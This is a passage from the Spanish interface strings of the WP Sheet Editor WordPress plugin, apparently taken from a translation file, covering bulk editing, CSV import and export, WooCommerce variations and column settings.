fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se 